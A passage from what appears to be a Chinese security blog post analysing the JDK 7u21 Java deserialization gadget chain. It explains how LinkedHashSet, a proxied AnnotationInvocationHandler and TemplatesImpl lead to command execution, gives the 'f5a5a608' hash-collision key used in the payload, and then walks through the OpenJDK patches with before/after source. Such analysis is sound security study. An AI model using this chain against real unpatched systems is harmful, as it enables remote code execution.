的元素会保持有序状态，并且在LinkedHashSet.readObject()的方法中，当各元素被放进HashMap时，第二个元素会调用equals()与第一个元素进行比较——这样一来恰好就满足了我们上面所说的两个条件。所以在这里我们只要反序列化过程中让Pproxy Object 先添加，然后再添加包含恶意代码的实例，就会变成，Proxy.equals(EvilTemplates.class)，它被代理给AnnotationInvocationHandler类，并且进入equalsImpl()方法，在getMemberMethods()遍历TemplatesImpl的方法遇到getOutputProperties进行调用时，导致命令执行，从而完美的实现了整个攻击链。到这里其实整个漏洞就分析完了，但是在LinkedHashSet链中还有一个有意思的地方。LinkedHashSet --> HashSet --> HashSet.readObject() --> HashMap.put() // 将指定值与此映射中的指定键相关联 public V put(K key, V value) { if (key == null) return putForNullKey(value); int hash = hash(key.hashCode()); int i = indexFor(hash, table.length); for (Entry<K,V> e = table[i]; e != null; e = e.next) { Object k; // 关键点 if (e.hash == hash && ((k = e.key) == key || key.equals(k))) { V oldValue = e.value; e.value = value; e.recordAccess(this); return oldValue; } } modCount++; addEntry(hash, key, value, i); return null; }在put方法里，有一个条件： if (e.hash == hash && ((k = e.key) == key || key.equals(k))) 如果想要走到key.equals(k)就必须满足e.hash == hash并且k!=e.key。对于k == e.key很好判断，因为 EvilTemplates newInstance != Proxy Object，那e.hash == hash应该如何判断呢？实际上看源代码就知道，要让127 * ((String)var3.getKey()).hashCode()的结果等于0 ，也就是(String)var3.getKey()).hashCode()的值要为零，这样才可以满足那个if判断。这里利用的其实就是hash碰撞。经过碰撞我们得到了碰撞的第一个结果f5a5a608，也就是 payload 中的map.put('f5a5a608', templates);这样写的原因。整个流程可以总结成如下的思维导图：0x06 漏洞修复互联网上对于jdk7u21原生gadget链修复方式有两种讨论。第一种：第二种：实际上经过我的测试发现，其实这两种说法都没有问题。首先来看存在漏洞的最后一个版本（611bcd930ed1）：http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/file/611bcd930ed1/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java查看其 children 版本（0ca6cbe3f350）：http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/file/0ca6cbe3f350/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.javacompare一下：// 改之前 AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; all bets are off return; } // 改之后 AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; time to punch out throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); }可以发现，在第一次的修复中，官方采用的方法是网上的第二种讨论，即将以前的 return 改成了抛出异常。继续查看0ca6cbe3f350的children版本（654a386b6c32）：http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/file/654a386b6c32/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java可以发现在 AnnotationInvocationHandler构造方法的一开始的位置，就对于this.type进行了校验。// 改之前： AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { this.type = type; this.memberValues = memberValues; } // 改之后： AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); this.type = type; this.memberValues = memberValues; }此外，除了在构造方法处的验证，在其获取成员方法时，也做了验证：验证内容如下：private void validateAnnotationMethods(Method[] memberMethods) { boolean valid = true; for(Method method : memberMethods) { if (method.getModifiers() != (Modifier.PUBLIC | Modifier.ABSTRACT) || method.getParameterTypes().length != 0 || method.getExceptionTypes().length != 0) { valid = false; break; } Class<?> returnType = method.getReturnType(); if (returnType.isArray()) { returnType = returnType.getComponentType(); if (returnType.isArray()) { // Only single dimensional arrays valid = false; break; } } if (!((returnType.isPrimitive() && returnType != void.class) || returnType == java.lang.String.class || returnType == java.lang.Class.class || returnType.isEnum() || returnType.isAnnotation())) { valid = false; break; } String methodName = method.getName(); if ((methodName.equals("toString") && returnType == java.lang.String.class) || (methodName.equals("hashCode") && returnType == int.class) || (methodName.equals("annotationType") && returnType == java.lang.Class.class)) { valid = false; break; } } if (valid) return; else throw new AnnotationFormatError("Malformed method on an annotation type"); }validateAnnotationMethods验证方法对注解类型中声明的方法进行了限制，禁止了包含静态方法和声明的方法，要求注释类型必须采用零个参数并且对返回类型也做了限制。所以，个人总结，网上讨论的两种修复方式其实都没有问题，只是因为不同的jdk版本导致了修复方式不完全一样，也导致payload会在不同的地方被拦截，从而出现不一样的错误。如下图时在jdk1.8.151中出现的错误。下图时在jdk7u25中出现的错误。0x07 总结整个jdk7u21反序列化gadget链的构建非常经典，链中融合了大量的基础知识以及小技巧，个人认为是对于理解并学习反序列化漏洞的必学知识点，此文是本人学习记录，如存在问题欢迎各位师傅斧正。0x08 参考https://lalajun.github.io/2019/11/30/JDK%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Gadgets%207u21/https://p0rz9.github.io/2019/06/08/Ysoserial%E4%B9%8BJDK7u21%E5%88%86%E6%9E%90/https://gist.github.com/frohoff/24af7913611f8406eaf3#deserialization-call-tree-approximatehttps://b1ngz.github.io/java-deserialization-jdk7u21-gadget-note/https://mp.weixin.qq.com/s/Ekjbxv5glIXvpsw2Gh98vQhttps://xz.aliyun.com/t/6884#toc-12https://paper.seebug.org/792/本文首发在先知